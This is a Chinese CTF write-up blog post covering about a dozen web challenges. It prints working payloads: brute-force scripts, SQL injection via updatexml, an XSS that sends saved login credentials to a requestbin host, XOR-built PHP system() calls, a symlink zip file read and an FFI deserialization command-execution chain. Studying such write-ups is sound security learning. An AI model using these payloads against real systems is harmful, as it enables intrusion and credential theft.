[SUCTF]annonymous

  • create_function

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

$MY = create_function("","die(`cat flag.php`);");
$hash = bin2hex(openssl_random_pseudo_bytes(32));
eval("function SUCTF_$hash(){"
."global \$MY;"
."\$MY();"
."}");
if(isset($_GET['func_name'])){
$_GET["func_name"]();
die();
}
show_source(__FILE__);

0x01:审计

首先利用creat_function创建了一个匿名函数,而eval函数中也实现了对该函数的调用,但是eval中创建的函数名用了openssl_random_pseudo_bytes函数,所以很难进行爆破

但是可以从匿名函数入手,因为create_function创建匿名函数时,该函数的名字会默认为%00lambda_%d,所以我们可以爆破后面的%d执行对应的匿名函数

exp:

1
2
3
4
5
6
7
8
9
import requests

for i in range(1000):
url = 'http://3f157adf-697c-4764-b2cc-994d24033869.node4.buuoj.cn:81/?func_name=%00lambda_{}'.format(i)
r = requests.get(url)
if '$flag' in r.text:
print(r.text)
break
print("go! {}".format(i))

就可以得到flag了

[DDCTF]homebrew event loop

  • python代码审计

打开页面,可以发现url上有不同的地方,然后还告诉了我们的信息:有多少钻石和分数,然后可以在e-shop里面购买钻石,并且可以点击Reset进行重置

img

之后直接看源码吧:

0x01:审计+解题

1
2
def FLAG(): # 获取flag
return '*********************' # censored

-trigger_event函数用于将event元素加入session的log和执行队列中,实现对函数的执行。

1
2
3
4
5
6
7
8
def trigger_event(event):  
session['log'].append(event) #
if len(session['log']) > 5: # 如果log的长度大于5那么只截取最后五位
session['log'] = session['log'][-5:]
if type(event) == type([]): # 如果event的类型是列表,那么加入队列
request.event_queue += event
else:
request.event_queue.append(event) # 事件队列接入event元素

-get_mid_str函数用于在后面的execute_event_loop函数中截取用于执行的函数

1
2
3
4
5
def get_mid_str(haystack, prefix, postfix=None):
haystack = haystack[haystack.find(prefix)+len(prefix):] # 获取prefix所在索引加上prefix长度的值
if postfix is not None:
haystack = haystack[:haystack.find(postfix)] # 获取postfix前面的字符串
return haystack

-execute_event_loop函数用于执行url中我们用get传入的函数,而我们所利用的也是这个函数,因为我们想要执行多个函数,所以我们要利用trigger_event将我们想要执行的函数放入执行队列中,但是由于eval函数,所以要用%23绕过,之后再在每个要执行的函数之间用#进行分割就实现了多函数调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
def execute_event_loop(): # 执行url上面的action啦就是
valid_event_chars = set(
'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
resp = None
while len(request.event_queue) > 0: # 当队列长度大于0时
# `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
event = request.event_queue[0] # 获取元素
request.event_queue = request.event_queue[1:] # 截取队列 索引为1之后的元素
if not event.startswith(('action:', 'func:')): # 如果元素不是以xxx为开头,就跳出循环,找下一个event
continue
for c in event:
if c not in valid_event_chars: # 过滤被禁止的字符
break
else:
is_action = event[0] == 'a' # 判断是不是action
action = get_mid_str(event, ':', ';') # 获取:之后和;之前的字符串
args = get_mid_str(event, action+';').split('#') # action;之后的字符串 并以#为分隔 返回列表
try:
event_handler = eval(
action + ('_handler' if is_action else '_function')) # 执行函数 这里要注意trigger_event的结尾不是handler也不是function,所以如果要调用trigger_event函数,就要绕过
ret_val = event_handler(args) # 默认为第一个 即;后面的#前面的
except RollBackException:
if resp is None:
resp = ''
resp += 'ERROR! All transactions have been cancelled. <br />'
resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
session['num_items'] = request.prev_session['num_items']
session['points'] = request.prev_session['points']
break
except Exception, e:
if resp is None:
resp = ''
# resp += str(e) # only for debugging
continue
if ret_val is not None:
if resp is None:
resp = ret_val # 执行之后的值放入resp中
else:
resp += ret_val
if resp is None or resp == '':
resp = ('404 NOT FOUND', 404)
session.modified = True
return resp

-buy_handler函数购买钻石,参数为买的钻石的个数,然后买的个数加入session的num_items中,这里的num_items刚好和后面的get_flag函数相应,所以我们要实现num_itemsa>=5,但是还要注意在consume_point_function函数中的报错RollBackException(),这个要求一次购买的钻石个数不能超过3个,所以不能一次性买5个,但是我们可以分次数购买

1
2
3
4
5
6
7
def buy_handler(args):
num_items = int(args[0])
if num_items <= 0:
return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
session['num_items'] += num_items
trigger_event(['func:consume_point;{}'.format(
num_items), 'action:view;index'])

- 在最后的get_flag_handler函数中可以发现,如果买到的钻石个数大于5的话,就可以执行trigger_enent和FlAG函数得到flag了,并且trigger_event函数会把字符串放入session里面的log中,所以就可以通过看session来得到flag,而从前面也可以发现session被加密了,直接用脚本解密就好啦

1
2
3
4
5
def get_flag_handler(args):
if session['num_items'] >= 5:
# show_flag_function has been disabled, no worries
trigger_event('func:show_flag;' + FLAG())
trigger_event('action:view;index')

payload:

1
?action:trigger_event%23;action:buy 2;%23action:buy 3;%23action:get_flag;%23

img

base64解密之后得到flag

[CISCN2019]Web4

打开页面,点击之后发现直接转到了百度的界面,看url就可以发现着手点了

可能存在ssrf之类的漏洞,直接试着查看/flag,但是返回了hacker,说明flag被ban了

之后查看一些文件也看不出有什么可以利用的,那么就先抓个包吧

发现session的值很想jwt的格式

img

那就直接去用脚本强制解密一下看看

img

解密之后发现后面是www-data,那么有可能就是我们要修改session伪造身份,才有资格访问

但是现在有两个问题,一个是不知道真正的用户是什么,然后还有一个是不知道加密的密钥是什么,当然我们可以猜测存在python文件,但是该怎么才能得到源码呢

因为这是一个flask框架,但是尝试之后还是没找到,最后看了别人的wp

(但是不知道为什么

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True

@app.route('/')
def index():
session['username'] = 'www-data'
return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'

@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('^file.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m or n:
return 'No Hack'
res = urllib.urlopen(url)
return res.read()
except Exception as ex:
print str(ex)
return 'no response'

@app.route('/flag')
def flag():
if session and session['username'] == 'fuck':
return open('/flag.txt').read()
else:
return 'Access denied'

if __name__=='__main__':
app.run(
debug=True,
host="0.0.0.0"
)

之后就可以进行审计啦,根据前面有# encoding:utf-8,我们可以猜测是python2的环境(纯个人方法

审计源码之后我们可以发现flag路由,且要实现username为fuck才能读取flag文件,但是接下去还有一个问题就是密钥

重点在于:

1
2
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)

百度之后可以知道,random.seed里面的值是种子,存在seed之后,再执行random函数的时候生成的随机数的伪随机数,所以我们可以通过获取seed来知道我们需要的随机数

所以现在的重点在于uuid.getnode(),百度之后发现这个是用来获取mac地址(物理地址)的

img

https://www.jianshu.com/p/b4102e3e3e96

img

所以得到了mac地址(ae:f8:1f:75:7c:c0),而seed里面是十进制,所以要将mac地址转化为十进制:

exp:(注意这里要用python2,因为python3和python2保留的小数位数不同

1
2
3
4
5
6
7
8
9
10
11
12
import uuid
import random

mac = "ae:f8:1f:75:7c:c0"
temp = mac.split(':')
temp = [int(i,16) for i in temp]
temp = [bin(i).replace('0b','').zfill(8) for i in temp]
temp = ''.join(temp)
mac = int(temp, 2)
random.seed(mac)
randStr = str(random.random()*233)
print(randStr)

img

之后直接对session加密:

img

修改session,并访问flag路由得到flag

img

[WMCTF]Make PHP Great Again

  • require_once绕过不能重复包含的限制

源码:

1
2
3
4
5
6
<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
require_once $_GET['file'];
}

代码很短,知识点是绕过require_once不能重复包含的限制

分析(慢慢看

img

payload:

1
?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

[RootersCTF]babyWeb

  • 简单的sql注入

打开靶机,直接告诉了我们ban了union|sleep|'|"| or |-|benchmark,随便在框里输入数字时会发现这应该是数字型注入,所以被ban掉的引号没有印象

img

解法一:万能密码

1
1 || 1=1 limit 0,1

img

解法二:手注

1
2
3
4
5
6
1 order by 2
1^updatexml(1,concat(0x7e,database(),0x7e),1)
1^updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)
1^updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=0x7573657273 limit 0,1),0x7e),1)
1^updatexml(1,concat(0x7e,(select uniqueid from users),0x7e),1)
# ~837461526918364526,123456789928466788~

之后在输入框中输入查询到的uniqueid的值,就可以得到flag了

(注:这里存在一个点,就是过滤了单引号在table_name=’users’中不能使用,可以用十六进制绕过)

[GWCTF 2019]mypassword

打开靶机,无法注入,但是可以在feedback里面写内容

img

看了源码之后可以发现代码块,这里的黑名单是进行字符串替换的,那我们在被过滤的字符串中间加上cookie就可以绕过了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if(is_array($feedback)){
echo "<script>alert('反馈不合法');</script>";
return false;
}
$blacklist = ['_','\'','&','\\','#','%','input','script','iframe','host','onload','onerror','srcdoc','location','svg','form','img','src','getElement','document','cookie'];
foreach ($blacklist as $val) {
while(true){
if(stripos($feedback,$val) !== false){
$feedback = str_ireplace($val,"",$feedback);
}else{
break;
}
}
}

可以尝试写入<scricookiept>alert(1)</scrcookieipt>,之后再进行访问,可以发现可能存在xss攻击,但是之后不知道该怎么利用反射性xss攻击去读取flag

img

之后看登陆界面的js源码,账户和密码都被填入了表单,那么猜测flag或许可能是账户或者密码,那么可以构造poc获取密码和账户。

1
2
3
4
5
6
7
8
9
10
11
12
13
if (document.cookie && document.cookie != '') {
var cookies = document.cookie.split('; ');
var cookie = {};
for (var i = 0; i < cookies.length; i++) {
var arr = cookies[i].split('=');
var key = arr[0];
cookie[key] = arr[1];
}
if(typeof(cookie['user']) != "undefined" && typeof(cookie['psw']) != "undefined"){
document.getElementsByName("username")[0].value = cookie['user'];
document.getElementsByName("password")[0].value = cookie['psw'];
}
}

poc(这里可以利用requestbin),之后就可以在requestbin那里获取到代码执行的信息,得到flag:

1
2
3
4
5
6
7
8
9
<inpcookieut type="text" name="username"></inpcookieut>
<inpcookieut type="text" name="password"></inpcookieut>
<scricookiept scookierc="./js/login.js"></scricookiept>
<scricookiept>
var uname = documcookieent.getElemcookieentsByName("username")[0].value;
var passwd = documcookieent.getElemcookieentsByName("password")[0].value;
var res = uname + " " + passwd;
documcookieent.locacookietion="http://http.requestbin.buuoj.cn/*/?a="+res;
</scricookiept>

[NESTCTF 2019]Love Math 2

之前做过类似的题目

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 60) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

审计代码+审题

规定get传入的值长度要小于60,且不能有空格等特殊符号,除此之外对于使用的数学函数进行了限制,但是看过之后没有可以在字符和数值之间转换的函数,那么应该是不能直接利用的

那或许我们可以利用取反或者异或运算来得到我们想要的函数

比如我们像执行的代码为:system('cat /flag');也可以构造$_GET[1]($_GET[2]);

可以试着写个脚本跑一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
 <?php
$str = '1234567890!@#$%^&*()_+=-';
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
foreach ($whitelist as $key => $value) {
# code...
for($j = 0;$j < 9;$j++){
for($k = 0;$k < 9;$k++){
// echo $value."\n";
// echo ($j.$k)."\n";
$a = ($value ^ $j.$k);
if($a == '_G' || $a == 'ET')
echo $value."^".($j.$k)." = $a"."\n";
for($i = 0;$i < 9;$i++){
$b = $value ^ ($j.$k.$i);
if($b == 'SYS' || $b == 'GET')
echo $value."^".($j.$k.$i)." = $b"."\n";
}
}
}
// echo "\n";
}

# is_finite^64 = _G
# is_infinite^64 = _G
# is_nan^64 = _G
# mt_getrandmax^23 = _G
# mt_rand^23 = _G
# mt_srand^23 = _G
# rad2deg^75 = ET
# rand^75 = ET
# srand^475 = GET
# tan^15 = ET
# tanh^15 = ET

最后选最短的几个来组成payload吧:(注意这里的64的类型要是字符串

1
?c=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=ls%20/

之后cat一下就可以得到flag了

[BSidesCF 2019]Pick Tac Toe

打开靶机,不知道为什么点击没反应,F12之后发现cookie里面有session,但是base64解码之后只看出来了又sessionid,之后查看了一下源码,发现原来每个格子都对应着一个id

img

并且有action=/move而input标签可以利用move输入对应的值,那么随便试一下,好嘛,这不就是我们经常玩的井字棋嘛img

那就直接选三个可以连起来的进行post传值就可以得到flag了

payload:(直接强制性传就好啦 即使br处出现了圆圈也不会有什么影响

1
2
3
move=c
move=ul
move=br

[RootersCTF2019]ImgXweb

  • jwt

打开靶机,开始是登陆注册,先试一下admin万能密码登录,没有成功,注册admin发现admin用户已存在,那先随便注册一个账号进去吧

然后发现是文件上传,都试了一遍之后可以确定不是文件上传的漏洞了

img

抓包之后发现cookie里面有sessionid,格式明显就是jwt,直接解码看看

img

说明我们可以伪造我们的身份为admin,然后进去看看,但是现在重点是怎么获得密钥

遇事不决,扫一下后台把,发现有robots.txt(太久没做题,导致有时候应该能直接自己试出来的东西要从头开始过了害

img

查看robots.txt之后可以得到密钥啦:you-will-never-guess

直接解密之后加密,抓包放包:

img

发现有flag.png,但是发现个问题,直接访问是得不到flag的,想到之前可以利用curl下载文件

img

用curl试了好多命令之后,没想到直接curl url就可以得到flag了,还得继续学习curl的用途呢

img

[SWPU2019]Web3

  • flask session伪造

打开靶机,登录页面没有限制,登录进去之后有upload界面,但是没有权限,并且3秒之后自动返回首页,F12查看cookie之后发现有session值,格式很像jwt,但是jwt解码之后出现乱码,那也可能是flask session,用脚本强制解码之后可以得到:

img

其中,后面的username和password解码之后都是default,那么猜测如果把username改成admin会怎么样,但是没有密钥,那么试着看看robots.txt有没有提示,发现有这个文件,虽然返回了404 not found但是页面加载是200,说明是存在这个文件的,可以在F12之后发现某个特别的内容:

img

base64解码之后得到密钥:(虽然不确定后面的那些符号是不是,先测试一下

1
SECRET_KEY:keyqqqwwweee!@#$%^&*

img

可以发现是正确的呢,那就直接伪造啦(这里是试了好多次之后,都不对,看了别的师傅的wp之后

1
{'id': b'1', 'is_login': True, 'password': 'admin', 'username': 'admin'}

可以得到:

1
.eJyrVspMUbKqVlJIUrJS8g20tVWq1VHKLI7PyU_PzFOyKikqTdVRKkgsLi7PLwIqVEpMyQWK6yiVFqcW5SXmpsKFagFiyxgX.Yek0bA.1lnXSowFDjHbyuAnUGKfWtYEN84

抓包修改之后就获得了文件上传的权限,看源码可以得到文件上传的python源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
@app.route('/upload',methods=['GET','POST'])
def upload():
if session['id'] != b'1':
return render_template_string(temp)
if request.method=='POST':
m = hashlib.md5()
name = session['password']
name = name+'qweqweqwe'
name = name.encode(encoding='utf-8')
m.update(name)
md5_one= m.hexdigest()
n = hashlib.md5()
ip = request.remote_addr
ip = ip.encode(encoding='utf-8')
n.update(ip)
md5_ip = n.hexdigest()
f=request.files['file']
basepath=os.path.dirname(os.path.realpath(__file__))
path = basepath+'/upload/'+md5_ip+'/'+md5_one+'/'+session['username']+"/"
path_base = basepath+'/upload/'+md5_ip+'/'
filename = f.filename
pathname = path+filename
if "zip" != filename.split('.')[-1]: # 只能上传zip文件
return 'zip only allowed'
if not os.path.exists(path_base): # 创建路径
try:
os.makedirs(path_base)
except Exception as e:
return 'error'
if not os.path.exists(path):
try:
os.makedirs(path)
except Exception as e:
return 'error'
if not os.path.exists(pathname):
try:
f.save(pathname)
except Exception as e:
return 'error'
try:
cmd = "unzip -n -d "+path+" "+ pathname
if cmd.find('|') != -1 or cmd.find(';') != -1: # 如果存在|或者;
waf()
return 'error'
os.system(cmd)
except Exception as e:
return 'error'
unzip_file = zipfile.ZipFile(pathname,'r')
unzip_filename = unzip_file.namelist()[0]
if session['is_login'] != True:
return 'not login'
try:
if unzip_filename.find('/') != -1:
shutil.rmtree(path_base)
os.mkdir(path_base)
return 'error'
image = open(path+unzip_filename, "rb").read()
resp = make_response(image)
resp.headers['Content-Type'] = 'image/png'
return resp
except Exception as e:
shutil.rmtree(path_base)
os.mkdir(path_base)
return 'error'
return render_template('upload.html')


@app.route('/showflag')
def showflag():
if True == False:
image = open(os.path.join('./flag/flag.jpg'), "rb").read()
resp = make_response(image)
resp.headers['Content-Type'] = 'image/png'
return resp
else:
return "can't give you"

可以知道upload路由里进行文件上传并且对文件解压缩之后查看文件内容

而showflag路由里面,由于if条件永假,所以我们无法通过该路由获取flag,但是这个路由告诉我们flag文件所在的路径./flag/flag.jpg

之后看了别的师傅的wp:参考这里提到了软连接的使用

命令:(注意 这里的flag文件需要绝对路径

1
2
ln -s /proc/self/cwd/flag/flag.jpg test
zip -ry test.zip test

上传文件,抓包得到flag

img

[RCTF 2019]Nextphp

  • php FFI扩展

代码:

1
2
3
4
5
6
<?php
if (isset($_GET['a'])) {
eval($_GET['a']);
} else {
show_source(__FILE__);
}

先看看phpinfo里面给了我们什么信息,经典常用命令执行函数都被ban了

img

随便尝试一下,很多函数例如var_dump,print_r,echo,file_get_contents,file_put_contents都没有被ban,还是有机会的:

1
?a=var_dump(scandir('.'));

回显:

1
array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) "index.php" [3]=> string(11) "preload.php" }

查看文件:

1
?a=file_get_contents("/var/www/html/preload.php");

回显:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'print_r',
'arg' => '1'
];

private function run () {
$this->data['ret'] = $this->data['func']($this->data['arg']);
}

public function __serialize(): array {
return $this->data;
}

public function __unserialize(array $data) {
array_merge($this->data, $data);
$this->run();
}

public function serialize (): string {
return serialize($this->data);
}

public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}

public function __get ($key) {
return $this->data[$key];
}

public function __set ($key, $value) {
throw new \Exception('No implemented');
}

public function __construct () {
throw new \Exception('No implemented');
}
}

虽然这里可以利用$this->data['ret'] = $this->data['func']($this->data['arg']);来执行函数,但是最重要的还是很多函数被ban了

这里要用到php的一个扩展FFI扩展,它支持php调用c的代码

FFI::cdef([string ![cdef = “” , stringlib = null]]): FFI

所以可以构造poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'FFI:cdef',
'arg' => 'int system(char* command)'
];
public function serialize (): string {
return serialize($this->data);
}

public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}
}
$a = new A();
echo urlencode(serialize($a));
# C%3A1%3A%22A%22%3A87%3A%7Ba%3A3%3A%7Bs%3A3%3A%22ret%22%3BN%3Bs%3A4%3A%22func%22%3Bs%3A8%3A%22FFI%3Acdef%22%3Bs%3A3%3A%22arg%22%3Bs%3A25%3A%22int+system%28char%2A+command%29%22%3B%7D%7D

payload:

1
?a=unserialize(urldecode('C%3A1%3A%22A%22%3A89%3A%7Ba%3A3%3A%7Bs%3A3%3A%22ret%22%3BN%3Bs%3A4%3A%22func%22%3Bs%3A9%3A%22FFI%3A%3Acdef%22%3Bs%3A3%3A%22arg%22%3Bs%3A26%3A%22int+system%28char+%2Acommand%29%3B%22%3B%7D%7D'))->__serialize()['ret']->system('cat /flag>/var/www/html/1.txt');

最后

第一周结束了,感觉学到的新知识也不是很多,很多遇到的新知识都没有彻底理解,下周效率要高一点了

~